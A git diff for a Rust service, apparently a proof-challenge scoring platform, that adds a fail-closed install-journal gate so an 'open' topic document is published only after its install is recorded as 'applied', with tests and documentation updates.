PROOF_ID_BYTES, SCORE_MAX as PROOF_SCORE_MAX, SCORING_VERSION, }; -pub use topic_routes::{challenge_router, topic_route_router, REGISTRY_TABLE}; +pub use topic_routes::{challenge_router, topic_route_router, PgInstallJournal, REGISTRY_TABLE}; /// Build a D24-complete score map: each expected hotkey is a **sum** of /// WTA/discovery topic masses, or an explicit `NoScore`. diff --git a/crates/proof-challenge/src/topic_routes.rs b/crates/proof-challenge/src/topic_routes.rs index 196e9521d..d1acd0e94 100644 --- a/crates/proof-challenge/src/topic_routes.rs +++ b/crates/proof-challenge/src/topic_routes.rs @@ -67,6 +67,34 @@ pub fn challenge_router(state: AppState, topic_routes: Option } } +/// The install journal, read through `proof_topic_install`. +/// +/// This is what the **publish gate** consults: an `open` document is refused +/// until the topic's newest install row is `applied`. The read is the same +/// one `proof-admin topic install-log` shows, so the operator and the route +/// cannot disagree about whether a topic is installed. +pub struct PgInstallJournal { + /// Pool over the shared challenge database. + pub pool: sqlx::PgPool, +} + +impl PgInstallJournal { + /// Read `proof_topic_install` through `pool`. + #[must_use] + pub fn new(pool: sqlx::PgPool) -> Self { + Self { pool } + } +} + +#[async_trait::async_trait] +impl proof_http::InstallJournal for PgInstallJournal { + async fn applied(&self, topic_id: &str) -> Result { + proof_topic_install::applied_install(&self.pool, topic_id) + .await + .map_err(|e| e.to_string()) + } +} + /// One topic route. async fn topic_route( State(mux): State>, @@ -303,6 +331,8 @@ mod tests { judge_api_key: None, admin_hashes: Arc::new(Vec::new()), vm_probe: None, + // This file's subject is the route mux, not the publish gate. + install_journal: None, epoch: 0, }; let app = challenge_router(state.clone(), Some(mux(fake))); diff --git a/crates/proof-http/src/lib.rs b/crates/proof-http/src/lib.rs index 78d4230f9..4a003758a 100644 --- a/crates/proof-http/src/lib.rs +++ b/crates/proof-http/src/lib.rs @@ -9,13 +9,22 @@ //! POST /v1/submissions miner submit (topic_id + hotkey_signature + submit_nonce required) //! GET /v1/submissions ?state=queued&topic_id=… filters //! GET /v1/submissions/{id} -//! POST /v1/admin/proof/topics operator publish (signed document) +//! POST /v1/admin/proof/topics operator publish (signed document; an `open` one needs an applied install) //! POST /v1/admin/proof/executor operator rotate the live executor offer //! GET /v1/admin/proof/vm-orchestrator operator probe: topic-VM orchestrator readiness + agent health //! POST /v1/admin/proof/queue/drain operator: score `queued` rows of one topic, in order //! POST /v1/admin/proof/submissions/{id}/score operator: score one `queued` row //! ``` //! +//! **The install gate.** An `open` document is submitable the moment it is +//! published, so the publish route refuses one unless the topic's newest +//! `proof_topic_install` row is `applied` (**409**, with the reason). A +//! `draft` document is never gated — it is not submitable, and staging one is +//! how an operator stages a bundle. A host with no journal (no database), an +//! unreadable journal, and a `pending` / `failed` / missing row all refuse, +//! so a topic cannot become live before its migrations, routes, and rules are +//! in place. +//! //! **Deferred scoring.** An open topic whose signed document carries //! `constraints.params.defer_scoring = "true"` accepts submissions the same //! way (every intake gate applies) but persists them as `queued` (**201**) @@ -169,6 +178,31 @@ pub trait VmOrchestratorProbe: Send + Sync { async fn probe(&self) -> VmOrchestratorReport; } +/// Whether a topic's install reached `applied`, as the publish route reads it. +/// +/// A trait rather than a pool so the route can be exercised without a +/// database, and so a host that resolved no install journal can say so instead +/// of answering from a table it never read. +#[async_trait] +pub trait InstallJournal: Send + Sync { + /// `Ok(true)` when the newest install row for `topic_id` is `applied`. + /// + /// # Errors + /// + /// The reason the journal could not be read. The caller refuses the + /// publish: an unreadable journal is not an installed topic. + async fn applied(&self, topic_id: &str) -> Result; +} + +/// The journal read behind the publish gate, or `None` on a host that +/// resolved none (no database). +/// +/// `None` is **fail-closed**: [`install_applied`] refuses, so an `open` +/// document cannot be published on a host that cannot prove the install ran. +/// That is the same rule the gate enforces when the journal is unreadable — +/// the only difference is which sentence the operator reads. +pub type InstallJournalSlot = Option>; + /// Shared HTTP state. #[derive(Clone)] pub struct AppState { @@ -195,6 +229,10 @@ pub struct AppState { /// Topic-VM orchestrator diagnostic for `GET /v1/admin/proof/vm-orchestrator`. /// `None` = the host resolved none (the route then reports `none`). pub vm_probe: Option>, + /// The install journal the **publish gate** reads: an `open` document is + /// refused unless the topic's newest install row is `applied`. `None` is + /// fail-closed (an `open` publish is refused, a `draft` one is not). + pub install_journal: InstallJournalSlot, /// Chain epoch used for topic windows. v0 hosts pass 0. pub epoch: u64, } @@ -1283,6 +1321,19 @@ async fn publish_topic( doc.validate(&st.pin, &custom_ids_ref(®istered)) .map_err(|e| topic_err(&e))?; doc.verify_signature(&st.pin).map_err(|e| topic_err(&e))?; + // The install gate, before anything is written: an `open` document is + // submitable the moment it is published, so it may not reach the registry + // until the topic's install is **applied**. The operator's CLI publishes + // after the install for the same reason, but that ordering is a client + // convention — a direct POST could skip it, and this route is the one that + // decides. A topic that is not installed, or whose install is still + // `pending` or ended `failed`, is refused here; the operator finishes the + // install and re-publishes. + if doc.status == TopicStatus::Open { + if let Err(why) = install_gate(&st, &doc.id).await { + return Err(err(StatusCode::CONFLICT, &why)); + } + } if doc.status == TopicStatus::Open && !doc.baseline.is_sealed() { return Err(err( StatusCode::BAD_REQUEST, @@ -1606,6 +1657,45 @@ fn err(code: StatusCode, msg: &str) -> (StatusCode, Json) { (code, Json(serde_json::json!({ "error": msg }))) } +/// Whether the topic's install reached `applied`, as the publish gate reads it. +/// +/// **Fail-closed on every doubt**: no journal slot, an unreadable journal, and +/// a topic with no install row all refuse, so an `open` document is never +/// admitted on a fact the host cannot prove. +/// +/// The refusal says **which** of those it was, because the operator has to +/// tell "not installed yet" from "the journal could not be read" — one is a +/// step to finish, the other is a host to fix. It is returned rather than +/// logged: `proof-http` has no logging dependency, and this reason belongs in +/// the response the operator is already reading. +/// +/// # Errors +/// +/// The reason the `open` document cannot be published. +async fn install_gate(st: &AppState, topic_id: &str) -> Result<(), String> { + let Some(journal) = st.install_journal.as_deref() else { + return Err(format!( + "this host resolved no install journal (no database), so it cannot prove that topic \ + {topic_id:?} was installed. Publish the document as `draft`, or wire \ + BASE_DATABASE_URL and restart." + )); + }; + match journal.applied(topic_id).await { + Ok(true) => Ok(()), + Ok(false) => Err(format!( + "topic {topic_id:?} has no `applied` install row: run `proof-admin topic install` to \ + completion first (the journal is `proof_topic_install`; read it with `proof-admin \ + topic install-log --topic {topic_id}`). A `pending` or `failed` row means the \ + migrations, routes, or rules are not in place, and an `open` document is submitable \ + the moment it is published." + )), + Err(e) => Err(format!( + "the install journal could not be read for topic {topic_id:?}: {e}. The publish is \ + refused rather than admitted on an unread fact; fix the database and re-publish." + )), + } +} + fn store_err(e: &proof_store::StoreError) -> (StatusCode, Json) { err(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()) } @@ -1943,6 +2033,7 @@ mod tests { judge_api_key, admin_hashes: Arc::new(vec![hash_admin_token(token)]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }) } @@ -1988,6 +2079,7 @@ mod tests { judge_api_key: Some("test-judge-key".into()), admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }) } @@ -2376,6 +2468,7 @@ mod tests { Vec::new() }), vm_probe: probe, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }) } @@ -2532,6 +2625,7 @@ mod tests { judge_api_key: Some("test-judge-key".into()), admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }); let (st, body) = json_req( @@ -3017,6 +3111,7 @@ mod tests { judge_api_key: Some("test-judge-key".into()), admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }); let (st, created) = json_req( @@ -3270,6 +3365,168 @@ mod tests { assert_eq!(created["id"], "adamw-beater-v0"); } + /// An install journal that reports every topic as installed, for the tests + /// whose subject is the publish path rather than the install gate. + struct InstalledJournal; + + #[async_trait] + impl InstallJournal for InstalledJournal { + async fn applied(&self, _topic_id: &str) -> Result { + Ok(true) + } + } + + /// An install journal that refuses every read, for the gate's + /// fail-closed case. + struct BrokenJournal; + + #[async_trait] + impl InstallJournal for BrokenJournal { + async fn applied(&self, _topic_id: &str) -> Result { + Err("journal unavailable".into()) + } + } + + /// An install journal that has no row for any topic. + struct EmptyJournal; + + #[async_trait] + impl InstallJournal for EmptyJournal { + async fn applied(&self, _topic_id: &str) -> Result { + Ok(false) + } + } + + /// A host whose install journal says every topic is installed, and whose + /// every other field is the test default. + fn app_with_install_journal(token: &str, journal: InstallJournalSlot) -> Router { + let mut state = AppState { + store: MemoryStore::new(), + pin: pin(""), + backend: EvalBackend::Sim, + live_scorer: None, + offer: None, + executor: executor_slot(None), + judge_api_key: None, + admin_hashes: Arc::new(vec![hash_admin_token(token)]), + vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), + epoch: 0, + }; + state.install_journal = journal; + proof_router(state) + } + + /// **The publish gate.** An `open` document is refused unless the topic's + /// install reached `applied`; a `draft` document is not gated, because a + /// draft is not submitable and is how an operator stages a bundle. + /// + /// The gate is what makes the ordering a **rule of the route** rather than + /// a convention of the CLI: a direct POST that skipped the install would + /// otherwise put a submitable document in the registry before its + /// migrations, routes, and rules existed. + #[tokio::test] + async fn an_open_topic_publishes_only_when_its_install_is_applied() { + let token = "op"; + let recs = synthetic_holdout(STRATUM_SIZE, 1); + let p = pin(""); + let (mut doc, _) = seal_topic(&p, unsigned_topic(&recs)); + doc.id = "gated-topic-v0".into(); + doc.signature = doc.sign_with(&sk()).expect("sign"); + // The document is kept under its own name: the response bodies below + // are what each refusal said, and shadowing this would send the + // previous *answer* back as the next request. + let document = serde_json::to_value(&doc).expect("json"); + + // No journal on this host: fail-closed, and the refusal says why. + let (st, body) = json_req( + app_with_install_journal(token, None), + "POST", + "/v1/admin/proof/topics", + document.clone(), + Some(token), + ) + .await; + assert_eq!(st, StatusCode::CONFLICT, "{body}"); + assert!( + body["error"] + .as_str() + .unwrap_or_default() + .contains("resolved no install journal"), + "{body}" + ); + + // A journal with no row for the topic: not installed. + let (st, body) = json_req( + app_with_install_journal(token, Some(Arc::new(EmptyJournal))), + "POST", + "/v1/admin/proof/topics", + document.clone(), + Some(token), + ) + .await; + assert_eq!(st, StatusCode::CONFLICT, "{body}"); + assert!( + body["error"] + .as_str() + .unwrap_or_default() + .contains("no `applied` install row"), + "{body}" + ); + + // An unreadable journal is refused too, never admitted. + let (st, body) = json_req( + app_with_install_journal(token, Some(Arc::new(BrokenJournal))), + "POST", + "/v1/admin/proof/topics", + document.clone(), + Some(token), + ) + .await; + assert_eq!(st, StatusCode::CONFLICT, "{body}"); + assert!( + body["error"] + .as_str() + .unwrap_or_default() + .contains("could not be read"), + "{body}" + ); + + // The same document **drafts** on every one of those hosts: a draft is + // not submitable, so staging it needs no install. + let mut draft = doc.clone(); + draft.status = TopicStatus::Draft; + draft.signature = draft.sign_with(&sk()).expect("sign"); + let draft = serde_json::to_value(&draft).expect("json"); + for journal in [ + None, + Some(Arc::new(EmptyJournal) as Arc), + Some(Arc::new(BrokenJournal) as Arc), + ] { + let (st, body) = json_req( + app_with_install_journal(token, journal), + "POST", + "/v1/admin/proof/topics", + draft.clone(), + Some(token), + ) + .await; + assert_eq!(st, StatusCode::CREATED, "{body}"); + } + + // And an applied install admits it. + let (st, body) = json_req( + app_with_install_journal(token, Some(Arc::new(InstalledJournal))), + "POST", + "/v1/admin/proof/topics", + document, + Some(token), + ) + .await; + assert_eq!(st, StatusCode::CREATED, "{body}"); + assert_eq!(body["status"], "open"); + } + fn custom_metric(custom_id: &str) -> MetricSpec { MetricSpec { family: MetricFamily::Custom, @@ -3570,6 +3827,7 @@ mod tests { judge_api_key: Some("test-judge-key".into()), admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }) } @@ -4292,6 +4550,7 @@ mod tests { judge_api_key: None, admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }) } @@ -4382,6 +4641,7 @@ mod tests { judge_api_key: None, admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }); let (st, body) = json_req( @@ -4424,6 +4684,7 @@ mod tests { judge_api_key: None, admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }) } @@ -4633,6 +4894,7 @@ mod tests { judge_api_key: None, admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }) } @@ -4702,6 +4964,7 @@ mod tests { judge_api_key: Some("test-judge-key".into()), admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }); (app, store, scorer) @@ -4888,6 +5151,7 @@ mod tests { judge_api_key: Some("test-judge-key".into()), admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, } } diff --git a/crates/proof-rlm-scorer/tests/rlm_e2e.rs b/crates/proof-rlm-scorer/tests/rlm_e2e.rs index 03f0c39b0..d979ea02b 100644 --- a/crates/proof-rlm-scorer/tests/rlm_e2e.rs +++ b/crates/proof-rlm-scorer/tests/rlm_e2e.rs @@ -63,6 +63,17 @@ use tower::ServiceExt; /// Open `1x` executor on the digest-scoped template of `pin` (host state the /// live path requires; the RLM path only records its plan commitment). +/// An install journal that reports every topic as installed: this file's +/// subject is scoring, so its host models one whose install already ran. +struct InstalledJournal; + +#[async_trait::async_trait] +impl proof_http::InstallJournal for InstalledJournal { + async fn applied(&self, _topic_id: &str) -> Result { + Ok(true) + } +} + fn test_executor(pin: &ProofPin) -> EvalExecutorOffer { let hex = pin.eval_image_digest.trim_start_matches("sha256:"); let mut o = EvalExecutorOffer { @@ -159,6 +170,9 @@ fn stack(register: bool) -> Stack { judge_api_key: Some("test-judge-key".into()), admin_hashes: Arc::new(vec![hash_admin_token("op")]), vm_probe: None, + // This stack's subject is scoring, not the publish gate: model a host + // whose topic install ran (the gate's own tests live in proof-http). + install_journal: Some(Arc::new(InstalledJournal)), epoch: 0, }); Stack { diff --git a/crates/proof-topic-install/src/install.rs b/crates/proof-topic-install/src/install.rs index 4eae54fab..bc1327281 100644 --- a/crates/proof-topic-install/src/install.rs +++ b/crates/proof-topic-install/src/install.rs @@ -690,6 +690,42 @@ fn strings(value: &serde_json::Value) -> Vec { .unwrap_or_default() } +/// Whether `topic_id` has an install in the **`applied`** state. +/// +/// This is the durable fact a publish of an `open` document is gated on. The +/// journal is append-only, so the newest row for a topic is its current +/// install state: `applied` means every migration, route, and rule the +/// operator's bundle carries is in place, and `pending` / `failed` mean it is +/// not. +/// +/// The read is **fail-closed at the call site**: a database error is an +/// `Err`, never a `false` that a caller could mistake for "not installed" or +/// — worse, if inverted — for "installed". [`is_installed`] is the boolean +/// form, for callers that want it. +/// +/// # Errors +/// +/// [`InstallError::Db`]. +pub async fn applied_install(pool: &PgPool, topic_id: &str) -> Result { + let state: Option = sqlx::query_scalar( + "SELECT state FROM proof_topic_install WHERE topic_id = $1 ORDER BY id DESC LIMIT 1", + ) + .bind(topic_id) + .fetch_optional(pool) + .await + .map_err(|e| InstallError::Db(e.to_string()))?; + Ok(state.as_deref() == Some(InstallState::Applied.as_str())) +} + +/// [`applied_install`], as a plain boolean. +/// +/// # Errors +/// +/// [`InstallError::Db`]. +pub async fn is_installed(pool: &PgPool, topic_id: &str) -> Result { + applied_install(pool, topic_id).await +} + /// Every route a topic registered, for the dynamic mux. /// /// A stored path is **relative**, so the caller owns the prefix and a topic diff --git a/crates/proof-topic-install/src/lib.rs b/crates/proof-topic-install/src/lib.rs index 521d530a9..e2e199c7c 100644 --- a/crates/proof-topic-install/src/lib.rs +++ b/crates/proof-topic-install/src/lib.rs @@ -55,8 +55,9 @@ pub mod section; pub use handler::{bound_runner, check_handler, resolve_handler, Handler, HandlerError}; pub use install::{ - install_history, latest_install, topic_routes, ExecutorBinding, InstallReport, InstallRequest, - InstallRow, InstallState, Installer, SetupSummary, VMS_PER_SUBMISSION, + applied_install, install_history, is_installed, latest_install, topic_routes, ExecutorBinding, + InstallReport, InstallRequest, InstallRow, InstallState, Installer, SetupSummary, + VMS_PER_SUBMISSION, }; pub use proof_topic_sql_guard::{ blank_statements, check_migration, check_statement, is_topic_scoped, split_statements, diff --git a/docs/PROOF.md b/docs/PROOF.md index ade3d15e3..6f56eb8f9 100644 --- a/docs/PROOF.md +++ b/docs/PROOF.md @@ -375,6 +375,24 @@ with no dependency on the published row, and the RLM setup writes the document itself when it is not there yet. Only the aliases need a published topic, which is why they stay last. +**And the route enforces it, not just the CLI.** `POST /v1/admin/proof/topics` +refuses an **`open`** document with **409** unless the topic's newest +`proof_topic_install` row is `applied`: + +| Host state | `open` document | `draft` document | +|------------|-----------------|------------------| +| install `applied` | **201** | **201** | +| install `pending` / `failed` / no row | **409** | **201** | +| journal unreadable | **409** | **201** | +| no install journal on the host (no database) | **409** | **201** | + +A `draft` is never gated: it is not submitable, and staging one is how an +operator stages a bundle. The refusal says which case it was, so the operator +can tell "finish the install" from "fix the database". This is the ordering +as a **rule of the route** rather than a convention of the client: a direct +POST that skipped the install cannot put a submitable document in the registry +before its migrations, routes, and rules exist. + `topic install-log --topic ` reads the journal back: which bundle digest was applied, whether the install reached `applied`, which migrations and rules landed, and the executor binding it resolved. @@ -505,7 +523,7 @@ Trust-root keygen is the throwaway owner path in - `GET /v1/proof/topics`, `GET /v1/proof/topics/{id}` - `GET /v1/proof/executor` — always **200**: `eval_executor` (public offer or `null`), `ready`, `reason` when not ready, and the pin ceilings. -- `POST /v1/admin/proof/topics` — operator bearer; verify sig/schema/floors/seal before `open` +- `POST /v1/admin/proof/topics` — operator bearer; verify sig/schema/floors/seal before `open`, and refuse an **`open`** document with **409** unless the topic's newest `proof_topic_install` row is `applied` (a `draft` is never gated; see § Running the install for real) - `POST /v1/admin/proof/executor` — operator bearer; body is the offer document. Pin-validated (**400** keeps the previous offer); `status: closed` takes the executor down live. In-memory until restart, like submissions —